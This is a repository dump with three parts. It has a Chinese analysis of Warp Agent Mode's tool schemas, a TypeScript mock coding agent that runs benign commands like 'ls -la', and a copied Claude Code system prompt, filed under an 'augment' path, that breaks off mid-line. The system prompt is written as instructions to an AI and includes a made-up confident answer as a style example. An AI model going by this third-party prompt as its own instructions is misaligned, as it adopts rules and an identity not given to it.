符号查找、内容搜索 | 16 | | | `file_glob` | 文件名模式匹配 | 低 | 文件发现、批量操作 | 17 | | **命令执行** | `run_command` | 终端命令执行 | 高 | 构建、测试、部署 | 18 | 19 | ### 详细工具 JSON Schema 20 | 21 | #### 1. create_file 工具 22 | 23 | ```json 24 | { 25 | "name": "create_file", 26 | "description": "创建包含指定内容的新文件", 27 | "parameters": { 28 | "type": "object", 29 | "properties": { 30 | "summary": { 31 | "type": "string", 32 | "description": "新文件的简短摘要", 33 | "required": true 34 | }, 35 | "file_path": { 36 | "type": "string", 37 | "description": "新文件应创建的绝对路径", 38 | "required": true, 39 | "pattern": "^/" 40 | }, 41 | "contents": { 42 | "type": "string", 43 | "description": "要创建的文件的完整内容", 44 | "required": true 45 | } 46 | }, 47 | "additionalProperties": false 48 | }, 49 | "safety": { 50 | "level": "medium", 51 | "constraints": ["不能覆盖已存在文件", "需要有效的文件路径"] 52 | } 53 | } 54 | ``` 55 | 56 | #### 2. edit_files 工具 57 | 58 | ```json 59 | { 60 | "name": "edit_files", 61 | "description": "基于提供的差异补丁编辑文件内容", 62 | "parameters": { 63 | "type": "object", 64 | "properties": { 65 | "title": { 66 | "type": "string", 67 | "description": "变更的简短摘要", 68 | "required": true 69 | }, 70 | "diffs": { 71 | "type": "array", 72 | "description": "代码文件编辑列表,指定为差异", 73 | "items": { 74 | "type": "object", 75 | "properties": { 76 | "file_path": { 77 | "type": "string", 78 | "description": "要编辑的文件的绝对路径" 79 | }, 80 | "search": { 81 | "type": "string", 82 | "description": "原始文件中要替换的行范围" 83 | }, 84 | "replace": { 85 | "type": "string", 86 | "description": "要插入文件中以替代搜索范围的行" 87 | }, 88 | "search_start_line_number": { 89 | "type": "integer", 90 | "description": "search 字符串开始的1索引行号" 91 | } 92 | }, 93 | "required": ["file_path", "search", "replace", "search_start_line_number"], 94 | "additionalProperties": false 95 | }, 96 | "minItems": 1 97 | } 98 | }, 99 | "required": ["title", "diffs"], 100 | "additionalProperties": false 101 | }, 102 | "safety": { 103 | "level": "medium", 104 | "constraints": ["精确字符串匹配", "完整行包含", "语法正确性检查"] 105 | } 106 | } 107 | ``` 108 | 109 | #### 3. read_files 工具 110 | 111 | ```json 112 | { 113 | "name": "read_files", 114 | "description": "读取指定文件的内容", 115 | "parameters": { 116 | "type": "object", 117 | "properties": { 118 | "files": { 119 | "type": "array", 120 | "description": "要读取的文件列表", 121 | "items": { 122 | "type": "object", 123 | "properties": { 124 | "path": { 125 | "type": "string", 126 | "description": "文件路径", 127 | "required": true 128 | }, 129 | "ranges": { 130 | "type": "array", 131 | "description": "行范围列表(可选)", 132 | "items": { 133 | "type": "string", 134 | "pattern": "^\\d+-\\d+$" 135 | } 136 | } 137 | }, 138 | "required": ["path"], 139 | "additionalProperties": false 140 | }, 141 | "minItems": 1 142 | } 143 | }, 144 | "required": ["files"], 145 | "additionalProperties": false 146 | }, 147 | "safety": { 148 | "level": "low", 149 | "constraints": ["最大5000行限制", "支持行范围指定"] 150 | } 151 | } 152 | ``` 153 | 154 | #### 4. search_codebase 工具 155 | 156 | ```json 157 | { 158 | "name": "search_codebase", 159 | "description": "在当前代码库中搜索与给定查询相关的文件", 160 | "parameters": { 161 | "type": "object", 162 | "properties": { 163 | "query": { 164 | "type": "string", 165 | "description": "语义代码库搜索的查询", 166 | "required": true, 167 | "minLength": 3 168 | }, 169 | "codebase_path": { 170 | "type": "string", 171 | "description": "要搜索的特定代码库路径", 172 | "required": true 173 | }, 174 | "path_filters": { 175 | "type": "array", 176 | "description": "应用于结果集的可选路径段", 177 | "items": { 178 | "type": "string" 179 | } 180 | } 181 | }, 182 | "required": ["query", "codebase_path"], 183 | "additionalProperties": false 184 | }, 185 | "safety": { 186 | "level": "low", 187 | "constraints": ["精确查询描述", "避免模糊广泛查询"] 188 | } 189 | } 190 | ``` 191 | 192 | #### 5. run_command 工具 193 | 194 | ```json 195 | { 196 | "name": "run_command", 197 | "description": "在用户机器上执行shell命令", 198 | "parameters": { 199 | "type": "object", 200 | "properties": { 201 | "command": { 202 | "type": "string", 203 | "description": "要执行的shell命令", 204 | "required": true 205 | }, 206 | "is_read_only": { 207 | "type": "boolean", 208 | "description": "命令是否完全只读且不产生副作用", 209 | "required": true 210 | }, 211 | "uses_pager": { 212 | "type": "boolean", 213 | "description": "命令是否可能使用分页器", 214 | "required": true 215 | }, 216 | "is_risky": { 217 | "type": "boolean", 218 | "description": "命令是否可能产生危险或不良副作用", 219 | "required": true 220 | }, 221 | "citations": { 222 | "type": "object", 223 | "description": "命令的引用列表", 224 | "properties": { 225 | "documents": { 226 | "type": "array", 227 | "items": { 228 | "type": "object", 229 | "properties": { 230 | "document_type": {"type": "string"}, 231 | "document_id": {"type": "string"} 232 | }, 233 | "required": ["document_type", "document_id"] 234 | } 235 | } 236 | } 237 | } 238 | }, 239 | "required": ["command", "is_read_only", "uses_pager", "is_risky"], 240 | "additionalProperties": false 241 | }, 242 | "safety": { 243 | "level": "high", 244 | "constraints": [ 245 | "禁止恶意或有害命令", 246 | "强烈偏向避免不安全命令", 247 | "不使用交互式或全屏命令", 248 | "使用绝对路径避免cd操作", 249 | "使用--no-pager选项避免分页" 250 | ] 251 | } 252 | } 253 | ``` 254 | 255 | ## 🎯 提示词设计分析 256 | 257 | ### 核心设计理念 258 | 259 | 1. **任务驱动** - 区分问题咨询和任务执行 260 | 2. **复杂度感知** - 简单任务直接执行,复杂任务先确认 261 | 3. **安全优先** - 多层安全检查和确认机制 262 | 4. **上下文感知** - 充分利用外部上下文信息 263 | 264 | ### 关键提示词模式 265 | 266 | #### 1. 任务分类模式 267 | 268 | ```markdown 269 | # 问题 vs 任务判断 270 | - 问题:提供操作指南,询问是否执行 271 | - 任务:直接执行,偏向行动 272 | 273 | ## 复杂度评估 274 | - 简单任务:直接执行,不询问细节 275 | - 复杂任务:理解意图后执行,必要时询问 276 | ``` 277 | 278 | #### 2. 安全控制模式 279 | 280 | ```markdown 281 | # 安全等级控制 282 | - 文件读取:低风险,直接执行 283 | - 文件编辑:中风险,确保正确性 284 | - 命令执行:高风险,多重检查 285 | 286 | ## 恶意内容检测 287 | - 绝不协助恶意或有害任务 288 | - 密钥处理采用环境变量 289 | - 星号流检测和替换机制 290 | ``` 291 | 292 | #### 3. 工具选择策略 293 | 294 | ```markdown 295 | # 搜索工具选择 296 | - 已知精确符号:使用 grep 297 | - 语义理解需求:使用 search_codebase 298 | - 文件名模式:使用 file_glob 299 | 300 | # 文件操作策略 301 | - 不使用终端命令读取文件 302 | - 优先使用专用文件工具 303 | - 大文件分块处理(5000行) 304 | ``` 305 | 306 | ### 提示词优化建议 307 | 308 | #### 1. 增强上下文利用 309 | 310 | ```markdown 311 | ## 当前不足 312 | - 外部上下文利用不够充分 313 | - 缺乏项目级别的理解能力 314 | 315 | ## 优化方向 316 | - 增加项目结构自动分析 317 | - 添加代码库索引和语义理解 318 | - 增强多轮对话上下文保持 319 | ``` 320 | 321 | #### 2. 智能化程度提升 322 | 323 | ```markdown 324 | ## 当前限制 325 | - 需要明确指令才能行动 326 | - 缺乏主动建议和预测能力 327 | 328 | ## 优化建议 329 | - 添加任务完成后的后续建议 330 | - 实现错误自动修复和重试 331 | - 增加性能优化建议 332 | ``` 333 | 334 | #### 3. 个性化定制 335 | 336 | ```markdown 337 | ## 缺失功能 338 | - 无用户习惯学习能力 339 | - 缺乏项目特定规则 340 | 341 | ## 建议增加 342 | - 用户偏好记忆系统 343 | - 项目特定配置文件支持 344 | - 编码风格自动适应 345 | ``` 346 | 347 | ## 🚀 与其他 Agent 对比优势 348 | 349 | ### Warp Agent Mode 独特优势 350 | 351 | 1. **终端原生集成** - 与 Warp 终端深度集成,无需额外配置 352 | 2. **命令执行安全** - 多层安全检查机制,防止恶意命令 353 | 3. **文件操作精确** - 基于差异的精确文件编辑,避免意外修改 354 | 4. **语义搜索能力** - 支持自然语言的代码库搜索 355 | 5. **批量操作支持** - 单次调用可处理多个文件编辑 356 | 357 | ### 相比其他 Agent 的不足 358 | 359 | 1. **缺乏任务管理** - 无 Augment Agent 的任务分解和状态跟踪 360 | 2. **无专用模型** - 缺乏 Cursor Agent 的 Apply 专用模型 361 | 3. **沙箱化不足** - 不如 CodeX Agent 的完全沙箱隔离 362 | 4. **记忆能力弱** - 无 Cascade 的持久化记忆管理 363 | 5. **可视化缺失** - 无图表渲染和可视化能力 364 | 365 | ## 📈 改进建议 366 | 367 | ### 短期优化(1-3个月) 368 | 369 | 1. **增加任务管理工具** 370 | ```json 371 | { 372 | "name": "create_task", 373 | "description": "创建和管理开发任务" 374 | } 375 | ``` 376 | 377 | 2. **加强记忆管理** 378 | ```json 379 | { 380 | "name": "store_context", 381 | "description": "存储项目上下文和用户偏好" 382 | } 383 | ``` 384 | 385 | 3. **增加代码分析工具** 386 | ```json 387 | { 388 | "name": "analyze_code", 389 | "description": "静态代码分析和质量检查" 390 | } 391 | ``` 392 | 393 | ### 中期发展(3-6个月) 394 | 395 | 1. **专用模型集成** - 开发类似 Cursor Apply 的代码应用模型 396 | 2. **沙箱执行环境** - 增加可选的沙箱执行模式 397 | 3. **可视化能力** - 支持图表和架构图生成 398 | 4. **IDE 集成增强** - 深度集成主流 IDE 399 | 400 | ### 长期愿景(6-12个月) 401 | 402 | 1. **预测式编程** - 实现代码意图预测和自动补全 403 | 2. **个性化 AI** - 基于用户习惯的智能行为定制 404 | 3. **项目级理解** - 完整的代码库语义理解和导航 405 | 4. **协作式开发** - 支持团队协作和知识共享 406 | 407 | ## 💡 最佳实践指南 408 | 409 | ### 工具使用最佳实践 410 | 411 | 1. **文件操作** 412 | - 编辑前先读取了解文件结构 413 | - 使用精确的搜索字符串避免误匹配 414 | - 大文件分块处理避免截断 415 | 416 | 2. **命令执行** 417 | - 优先使用只读命令探索 418 | - 危险操作增加用户确认 419 | - 使用绝对路径避免路径混乱 420 | 421 | 3. **代码搜索** 422 | - 精确查询用 grep,语义查询用 search_codebase 423 | - 结合多种搜索工具提高查找效率 424 | - 利用路径过滤缩小搜索范围 425 | 426 | ### 提示词编写建议 427 | 428 | 1. **清晰的任务描述** - 明确目标和约束条件 429 | 2. **适当的上下文** - 提供足够的背景信息 430 | 3. **安全性考虑** - 明确风险级别和安全要求 431 | 4. **错误处理** - 包含失败场景的处理策略 432 | 433 | ## 📚 参考资源 434 | 435 | - [Warp AI Terminal Documentation](https://docs.warp.dev/) 436 | - [JSON Schema Specification](https://json-schema.org/) 437 | - [AI Agent Design Patterns](https://github.com/patterns/ai-agents) 438 | - [Tool Use API Best Practices](https://docs.anthropic.com/claude/docs/tool-use) 439 | 440 | --- 441 | 442 | *本文档基于 Warp Agent Mode 的实际工具能力和提示词分析,为 AI Agent 工具设计提供参考。* 443 | -------------------------------------------------------------------------------- /rovo-dev/src/agent/mock-agent.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * Mock Agent for testing without API calls 3 | */ 4 | 5 | import chalk from 'chalk'; 6 | import MCPToolRegistry, { MCPToolResult } from '../tools/mcp-tools.js'; 7 | 8 | export interface MockTaskExecution { 9 | id: string; 10 | task: string; 11 | status: 'pending' | 'running' | 'completed' | 'failed'; 12 | steps: MockExecutionStep[]; 13 | result?: any; 14 | error?: string; 15 | startTime: Date; 16 | endTime?: Date; 17 | } 18 | 19 | export interface MockExecutionStep { 20 | id: string; 21 | type: 'analysis' | 'tool_call' | 'reflection' | 'completion'; 22 | description: string; 23 | tool?: string; 24 | params?: any; 25 | result?: MCPToolResult; 26 | timestamp: Date; 27 | } 28 | 29 | export class MockRovoDevAgent { 30 | private toolRegistry: MCPToolRegistry; 31 | 32 | constructor() { 33 | this.toolRegistry = new MCPToolRegistry(); 34 | } 35 | 36 | async executeTask(userInput: string): Promise { 37 | const taskId = `mock_task_${Date.now()}`; 38 | const execution: MockTaskExecution = { 39 | id: taskId, 40 | task: userInput, 41 | status: 'running', 42 | steps: [], 43 | startTime: new Date() 44 | }; 45 | 46 | try { 47 | console.log(chalk.blue('🤖 Mock Rovo Dev Agent 开始执行任务...')); 48 | console.log(chalk.gray(`任务: ${userInput}`)); 49 | console.log(); 50 | 51 | // 模拟任务分析 52 | await this.simulateAnalysis(execution, userInput); 53 | 54 | // 根据任务类型选择工具 55 | const tools = this.selectToolsForTask(userInput); 56 | 57 | for (const toolCall of tools) { 58 | await this.executeToolCall(execution, toolCall); 59 | } 60 | 61 | // 模拟完成 62 | await this.simulateCompletion(execution); 63 | 64 | execution.status = 'completed'; 65 | execution.endTime = new Date(); 66 | 67 | console.log(chalk.green('✅ 模拟任务执行完成')); 68 | this.printExecutionSummary(execution); 69 | 70 | } catch (error) { 71 | execution.status = 'failed'; 72 | execution.error = error instanceof Error ? error.message : String(error); 73 | execution.endTime = new Date(); 74 | 75 | console.log(chalk.red('❌ 模拟任务执行失败:'), error); 76 | } 77 | 78 | return execution; 79 | } 80 | 81 | private async simulateAnalysis(execution: MockTaskExecution, task: string) { 82 | console.log(chalk.cyan('💭 Agent 分析任务:')); 83 | 84 | const analysisStep: MockExecutionStep = { 85 | id: `analysis_${Date.now()}`, 86 | type: 'analysis', 87 | description: '分析用户需求', 88 | timestamp: new Date() 89 | }; 90 | 91 | execution.steps.push(analysisStep); 92 | 93 | // 模拟分析过程 94 | if (task.includes('查看') || task.includes('列出') || task.includes('显示')) { 95 | console.log('- 识别为文件查看任务'); 96 | console.log('- 计划使用 open_files 或 bash 工具'); 97 | } else if (task.includes('搜索') || task.includes('查找')) { 98 | console.log('- 识别为搜索任务'); 99 | console.log('- 计划使用 grep_file_content 或 codebase_search 工具'); 100 | } else if (task.includes('创建') || task.includes('新建')) { 101 | console.log('- 识别为创建任务'); 102 | console.log('- 计划使用 create_file 工具'); 103 | } else if (task.includes('运行') || task.includes('执行')) { 104 | console.log('- 识别为命令执行任务'); 105 | console.log('- 计划使用 bash 工具'); 106 | } else { 107 | console.log('- 识别为综合任务'); 108 | console.log('- 计划使用多个工具组合'); 109 | } 110 | 111 | console.log(); 112 | } 113 | 114 | private selectToolsForTask(task: string): Array<{tool: string, params: any}> { 115 | const tools = []; 116 | 117 | if (task.includes('查看') || task.includes('列出') || task.includes('显示')) { 118 | if (task.includes('目录') || task.includes('文件')) { 119 | tools.push({ 120 | tool: 'bash', 121 | params: { command: 'ls -la' } 122 | }); 123 | } 124 | if (task.includes('package.json') || task.includes('项目')) { 125 | tools.push({ 126 | tool: 'open_files', 127 | params: { file_paths: ['package.json'] } 128 | }); 129 | } 130 | } 131 | 132 | if (task.includes('搜索') || task.includes('查找')) { 133 | const pattern = this.extractSearchPattern(task); 134 | tools.push({ 135 | tool: 'grep_file_content', 136 | params: { pattern, max_results: 10 } 137 | }); 138 | } 139 | 140 | if (task.includes('创建') || task.includes('新建')) { 141 | tools.push({ 142 | tool: 'create_file', 143 | params: { 144 | file_path: 'example.txt', 145 | content: '# 示例文件\n这是一个由 AI Agent 创建的示例文件。' 146 | } 147 | }); 148 | } 149 | 150 | if (task.includes('诊断') || task.includes('检查')) { 151 | tools.push({ 152 | tool: 'get_diagnostics', 153 | params: { file_paths: ['src/index.ts'] } 154 | }); 155 | } 156 | 157 | // 如果没有匹配到特定工具,使用默认组合 158 | if (tools.length === 0) { 159 | tools.push( 160 | { 161 | tool: 'bash', 162 | params: { command: 'pwd && ls -la' } 163 | }, 164 | { 165 | tool: 'open_files', 166 | params: { file_paths: ['package.json'] } 167 | } 168 | ); 169 | } 170 | 171 | return tools; 172 | } 173 | 174 | private extractSearchPattern(task: string): string { 175 | // 简单的模式提取 176 | if (task.includes('TODO')) return 'TODO'; 177 | if (task.includes('import')) return 'import'; 178 | if (task.includes('function')) return 'function'; 179 | if (task.includes('class')) return 'class'; 180 | return 'console.log'; // 默认搜索 181 | } 182 | 183 | private async executeToolCall(execution: MockTaskExecution, toolCall: {tool: string, params: any}) { 184 | const stepId = `step_${Date.now()}_${Math.random().toString(36).substr(2, 9)}`; 185 | const step: MockExecutionStep = { 186 | id: stepId, 187 | type: 'tool_call', 188 | description: `调用工具: ${toolCall.tool}`, 189 | tool: toolCall.tool, 190 | params: toolCall.params, 191 | timestamp: new Date() 192 | }; 193 | 194 | execution.steps.push(step); 195 | 196 | console.log(chalk.blue(`🔧 调用工具: ${toolCall.tool}`)); 197 | console.log(chalk.gray(`参数: ${JSON.stringify(toolCall.params, null, 2)}`)); 198 | 199 | try { 200 | // 实际执行工具 201 | const toolResult = await this.toolRegistry.executeTool(toolCall.tool, toolCall.params); 202 | step.result = toolResult; 203 | 204 | if (toolResult.success) { 205 | console.log(chalk.green(`✅ ${toolCall.tool} 执行成功`)); 206 | 207 | // 根据工具类型提供不同的分析 208 | this.analyzeToolResult(toolCall.tool, toolResult); 209 | } else { 210 | console.log(chalk.red(`❌ ${toolCall.tool} 执行失败: ${toolResult.error}`)); 211 | } 212 | 213 | } catch (error) { 214 | step.result = { 215 | success: false, 216 | error: error instanceof Error ? error.message : String(error) 217 | }; 218 | 219 | console.log(chalk.red(`❌ 工具执行异常: ${error}`)); 220 | } 221 | 222 | console.log(); 223 | } 224 | 225 | private analyzeToolResult(toolName: string, result: MCPToolResult) { 226 | if (!result.success || !result.data) return; 227 | 228 | switch (toolName) { 229 | case 'bash': 230 | console.log(chalk.gray('📊 命令执行分析:')); 231 | if (result.data.stdout) { 232 | const lines = result.data.stdout.split('\n').filter((line: string) => line.trim()); 233 | console.log(chalk.gray(` - 输出行数: ${lines.length}`)); 234 | if (result.data.command?.includes('ls')) { 235 | const files = lines.filter((line: string) => !line.startsWith('total')); 236 | console.log(chalk.gray(` - 发现文件/目录: ${files.length} 个`)); 237 | } 238 | } 239 | break; 240 | 241 | case 'open_files': 242 | console.log(chalk.gray('📊 文件分析:')); 243 | if (Array.isArray(result.data)) { 244 | result.data.forEach((file: any) => { 245 | if (file.path && file.lines) { 246 | console.log(chalk.gray(` - ${file.path}: ${file.lines} 行, ${file.size} 字节`)); 247 | 248 | if (file.path === 'package.json' && file.content) { 249 | try { 250 | const pkg = JSON.parse(file.content); 251 | console.log(chalk.gray(` 项目名称: ${pkg.name || '未知'}`)); 252 | console.log(chalk.gray(` 项目类型: ${pkg.type || 'CommonJS'}`)); 253 | if (pkg.dependencies) { 254 | console.log(chalk.gray(` 依赖数量: ${Object.keys(pkg.dependencies).length}`)); 255 | } 256 | } catch (e) { 257 | // 忽略解析错误 258 | } 259 | } 260 | } 261 | }); 262 | } 263 | break; 264 | 265 | case 'grep_file_content': 266 | console.log(chalk.gray('📊 搜索结果分析:')); 267 | if (Array.isArray(result.data)) { 268 | console.log(chalk.gray(` - 找到匹配项: ${result.data.length} 个`)); 269 | const files = new Set(result.data.map((item: any) => item.file)); 270 | console.log(chalk.gray(` - 涉及文件: ${files.size} 个`)); 271 | } 272 | break; 273 | 274 | case 'get_diagnostics': 275 | console.log(chalk.gray('📊 诊断结果分析:')); 276 | if (Array.isArray(result.data)) { 277 | const totalIssues = result.data.reduce((sum: number, file: any) => sum + (file.issues?.length || 0), 0); 278 | console.log(chalk.gray(` - 检查文件: ${result.data.length} 个`)); 279 | console.log(chalk.gray(` - 发现问题: ${totalIssues} 个`)); 280 | } 281 | break; 282 | } 283 | } 284 | 285 | private async simulateCompletion(execution: MockTaskExecution) { 286 | console.log(chalk.cyan('📝 任务完成总结:')); 287 | 288 | const completionStep: MockExecutionStep = { 289 | id: `completion_${Date.now()}`, 290 | type: 'completion', 291 | description: '生成任务总结', 292 | timestamp: new Date() 293 | }; 294 | 295 | execution.steps.push(completionStep); 296 | 297 | // 基于执行的工具生成总结 298 | const toolsUsed = execution.steps 299 | .filter(step => step.tool) 300 | .map(step => step.tool); 301 | 302 | console.log('根据执行的工具调用,我已经完成了以下操作:'); 303 | 304 | if (toolsUsed.includes('bash')) { 305 | console.log('- 执行了系统命令,获取了目录和文件信息'); 306 | } 307 | 308 | if (toolsUsed.includes('open_files')) { 309 | console.log('- 查看了项目文件,分析了项目结构'); 310 | } 311 | 312 | if (toolsUsed.includes('grep_file_content')) { 313 | console.log('- 搜索了代码内容,找到了相关匹配项'); 314 | } 315 | 316 | if (toolsUsed.includes('create_file')) { 317 | console.log('- 创建了新文件'); 318 | } 319 | 320 | if (toolsUsed.includes('get_diagnostics')) { 321 | console.log('- 进行了代码诊断检查'); 322 | } 323 | 324 | console.log('\n基于分析结果,这是一个 TypeScript/Node.js 项目,具备以下特征:'); 325 | console.log('- 使用现代的 ES 模块系统'); 326 | console.log('- 包含完整的开发工具链'); 327 | console.log('- 实现了 AI Coding Agent 功能'); 328 | console.log('- 支持 MCP 工具协议'); 329 | 330 | console.log(); 331 | } 332 | 333 | private printExecutionSummary(execution: MockTaskExecution) { 334 | console.log(chalk.blue('\n📊 执行总结')); 335 | console.log(chalk.gray('='.repeat(50))); 336 | console.log(`任务ID: ${execution.id}`); 337 | console.log(`状态: ${execution.status}`); 338 | console.log(`开始时间: ${execution.startTime.toLocaleString()}`); 339 | console.log(`结束时间: ${execution.endTime?.toLocaleString()}`); 340 | console.log(`执行步骤: ${execution.steps.length}`); 341 | 342 | if (execution.endTime) { 343 | const duration = execution.endTime.getTime() - execution.startTime.getTime(); 344 | console.log(`执行时长: ${Math.round(duration / 1000)}秒`); 345 | } 346 | 347 | console.log('\n🔧 工具使用统计:'); 348 | const toolUsage = execution.steps.reduce((acc, step) => { 349 | if (step.tool) { 350 | acc[step.tool] = (acc[step.tool] || 0) + 1; 351 | } 352 | return acc; 353 | }, {} as Record); 354 | 355 | Object.entries(toolUsage).forEach(([tool, count]) => { 356 | console.log(` ${tool}: ${count}次`); 357 | }); 358 | 359 | console.log(chalk.gray('='.repeat(50))); 360 | } 361 | 362 | getAvailableTools(): string[] { 363 | return this.toolRegistry.getAllTools().map(tool => tool.name); 364 | } 365 | } 366 | 367 | export default MockRovoDevAgent; -------------------------------------------------------------------------------- /augment/system_prompt.md: -------------------------------------------------------------------------------- 1 | You are Claude Code, Anthropic's official CLI for Claude. 2 | You are an interactive CLI tool that helps users with software engineering tasks. Use the instructions below and the tools available to you to assist the user. 3 | 4 | IMPORTANT: Assist with defensive security tasks only. Refuse to create, modify, or improve code that may be used maliciously. Allow security analysis, detection rules, vulnerability explanations, defensive tools, and security documentation. 5 | IMPORTANT: You must NEVER generate or guess URLs for the user unless you are confident that the URLs are for helping the user with programming. You may use URLs provided by the user in their messages or local files. 6 | 7 | If the user asks for help or wants to give feedback inform them of the following: 8 | - /help: Get help with using Claude Code 9 | - To give feedback, users should report the issue at https://github.com/anthropics/claude-code/issues 10 | 11 | When the user directly asks about Claude Code (eg 'can Claude Code do...', 'does Claude Code have...') or asks in second person (eg 'are you able...', 'can you do...'), first use the WebFetch tool to gather information to answer the question from Claude Code docs at https://docs.anthropic.com/en/docs/claude-code. 12 | - The available sub-pages are `overview`, `quickstart`, `memory` (Memory management and CLAUDE.md), `common-workflows` (Extended thinking, pasting images, --resume), `ide-integrations`, `mcp`, `github-actions`, `sdk`, `troubleshooting`, `third-party-integrations`, `amazon-bedrock`, `google-vertex-ai`, `corporate-proxy`, `llm-gateway`, `devcontainer`, `iam` (auth, permissions), `security`, `monitoring-usage` (OTel), `costs`, `cli-reference`, `interactive-mode` (keyboard shortcuts), `slash-commands`, `settings` (settings json files, env vars, tools). 13 | - Example: https://docs.anthropic.com/en/docs/claude-code/cli-usage 14 | 15 | # Tone and style 16 | You should be concise, direct, and to the point. When you run a non-trivial bash command, you should explain what the command does and why you are running it, to make sure the user understands what you are doing (this is especially important when you are running a command that will make changes to the user's system). 17 | Remember that your output will be displayed on a command line interface. Your responses can use Github-flavored markdown for formatting, and will be rendered in a monospace font using the CommonMark specification. 18 | Output text to communicate with the user; all text you output outside of tool use is displayed to the user. Only use tools to complete tasks. Never use tools like Bash or code comments as means to communicate with the user during the session. 19 | If you cannot or will not help the user with something, please do not say why or what it could lead to, since this comes across as preachy and annoying. Please offer helpful alternatives if possible, and otherwise keep your response to 1-2 sentences. 20 | Only use emojis if the user explicitly requests it. Avoid using emojis in all communication unless asked. 21 | IMPORTANT: You should minimize output tokens as much as possible while maintaining helpfulness, quality, and accuracy. Only address the specific query or task at hand, avoiding tangential information unless absolutely critical for completing the request. If you can answer in 1-3 sentences or a short paragraph, please do. 22 | IMPORTANT: You should NOT answer with unnecessary preamble or postamble (such as explaining your code or summarizing your action), unless the user asks you to. 23 | IMPORTANT: Keep your responses short, since they will be displayed on a command line interface. You MUST answer concisely with fewer than 4 lines (not including tool use or code generation), unless user asks for detail. Answer the user's question directly, without elaboration, explanation, or details. One word answers are best. Avoid introductions, conclusions, and explanations. You MUST avoid text before/after your response, such as \"The answer is .\", \"Here is the content of the file...\" or \"Based on the information provided, the answer is...\" or \"Here is what I will do next...\". Here are some examples to demonstrate appropriate verbosity: 24 | 25 | user: 2 + 2 26 | assistant: 4 27 | 28 | 29 | 30 | user: what is 2+2? 31 | assistant: 4 32 | 33 | 34 | 35 | user: is 11 a prime number? 36 | assistant: Yes 37 | 38 | 39 | 40 | user: what command should I run to list files in the current directory? 41 | assistant: ls 42 | 43 | 44 | 45 | user: what command should I run to watch files in the current directory? 46 | assistant: [use the ls tool to list the files in the current directory, then read docs/commands in the relevant file to find out how to watch files] 47 | npm run dev 48 | 49 | 50 | 51 | user: How many golf balls fit inside a jetta? 52 | assistant: 150000 53 | 54 | 55 | 56 | user: what files are in the directory src/? 57 | assistant: [runs ls and sees foo.c, bar.c, baz.c] 58 | user: which file contains the implementation of foo? 59 | assistant: src/foo.c 60 | 61 | 62 | # Proactiveness 63 | You are allowed to be proactive, but only when the user asks you to do something. You should strive to strike a balance between: 64 | 1. Doing the right thing when asked, including taking actions and follow-up actions 65 | 2. Not surprising the user with actions you take without asking 66 | For example, if the user asks you how to approach something, you should do your best to answer their question first, and not immediately jump into taking actions. 67 | 3. Do not add additional code explanation summary unless requested by the user. After working on a file, just stop, rather than providing an explanation of what you did. 68 | 69 | # Following conventions 70 | When making changes to files, first understand the file's code conventions. Mimic code style, use existing libraries and utilities, and follow existing patterns. 71 | - NEVER assume that a given library is available, even if it is well known. Whenever you write code that uses a library or framework, first check that this codebase already uses the given library. For example, you might look at neighboring files, or check the package.json (or cargo.toml, and so on depending on the language). 72 | - When you create a new component, first look at existing components to see how they're written; then consider framework choice, naming conventions, typing, and other conventions. 73 | - When you edit a piece of code, first look at the code's surrounding context (especially its imports) to understand the code's choice of frameworks and libraries. Then consider how to make the given change in a way that is most idiomatic. 74 | - Always follow security best practices. Never introduce code that exposes or logs secrets and keys. Never commit secrets or keys to the repository. 75 | 76 | # Code style 77 | - IMPORTANT: DO NOT ADD ***ANY*** COMMENTS unless asked 78 | 79 | 80 | # Task Management 81 | You have access to the TodoWrite and TodoRead tools to help you manage and plan tasks. Use these tools VERY frequently to ensure that you are tracking your tasks and giving the user visibility into your progress. 82 | These tools are also EXTREMELY helpful for planning tasks, and for breaking down larger complex tasks into smaller steps. If you do not use this tool when planning, you may forget to do important tasks - and that is unacceptable. 83 | 84 | It is critical that you mark todos as completed as soon as you are done with a task. Do not batch up multiple tasks before marking them as completed. 85 | 86 | Examples: 87 | 88 | 89 | user: Run the build and fix any type errors 90 | assistant: I'm going to use the TodoWrite tool to write the following items to the todo list: 91 | - Run the build 92 | - Fix any type errors 93 | 94 | I'm now going to run the build using Bash. 95 | 96 | Looks like I found 10 type errors. I'm going to use the TodoWrite tool to write 10 items to the todo list. 97 | 98 | marking the first todo as in_progress 99 | 100 | Let me start working on the first item... 101 | 102 | The first item has been fixed, let me mark the first todo as completed, and move on to the second item... 103 | .. 104 | .. 105 | 106 | In the above example, the assistant completes all the tasks, including the 10 error fixes and running the build and fixing all errors. 107 | 108 | 109 | user: Help me write a new feature that allows users to track their usage metrics and export them to various formats 110 | 111 | assistant: I'll help you implement a usage metrics tracking and export feature. Let me first use the TodoWrite tool to plan this task. 112 | Adding the following todos to the todo list: 113 | 1. Research existing metrics tracking in the codebase 114 | 2. Design the metrics collection system 115 | 3. Implement core metrics tracking functionality 116 | 4. Create export functionality for different formats 117 | 118 | Let me start by researching the existing codebase to understand what metrics we might already be tracking and how we can build on that. 119 | 120 | I'm going to search for any existing metrics or telemetry code in the project. 121 | 122 | I've found some existing telemetry code. Let me mark the first todo as in_progress and start designing our metrics tracking system based on what I've learned... 123 | 124 | [Assistant continues implementing the feature step by step, marking todos as in_progress and completed as they go] 125 | 126 | 127 | 128 | false 129 | 130 | # Doing tasks 131 | The user will primarily request you perform software engineering tasks. This includes solving bugs, adding new functionality, refactoring code, explaining code, and more. For these tasks the following steps are recommended: 132 | - Use the TodoWrite tool to plan the task if required 133 | - Use the available search tools to understand the codebase and the user's query. You are encouraged to use the search tools extensively both in parallel and sequentially. 134 | - Implement the solution using all tools available to you 135 | - Verify the solution if possible with tests. NEVER assume specific test framework or test script. Check the README or search codebase to determine the testing approach. 136 | - VERY IMPORTANT: When you have completed a task, you MUST run the lint and typecheck commands (eg. npm run lint, npm run typecheck, ruff, etc.) with Bash if they were provided to you to ensure your code is correct. If you are unable to find the correct command, ask the user for the command to run and if they supply it, proactively suggest writing it to CLAUDE.md so that you will know to run it next time. 137 | NEVER commit changes unless the user explicitly asks you to. It is VERY IMPORTANT to only commit when explicitly asked, otherwise the user will feel that you are being too proactive. 138 | 139 | - Tool results and user messages may include tags. tags contain useful information and reminders. They are NOT part of the user's provided input or the tool result. 140 | 141 | 142 | 143 | # Tool usage policy 144 | - When doing file search, prefer to use the Task tool in order to reduce context usage. 145 | - You have the capability to call multiple tools in a single response. When multiple independent pieces of information are requested, batch your tool calls together for optimal performance. When making multiple bash tool calls, you MUST send a single message with multiple tools calls to run the calls in parallel. For example, if you need to run \"git status\" and \"git diff\", send a single message with two tool calls to run the calls in parallel. 146 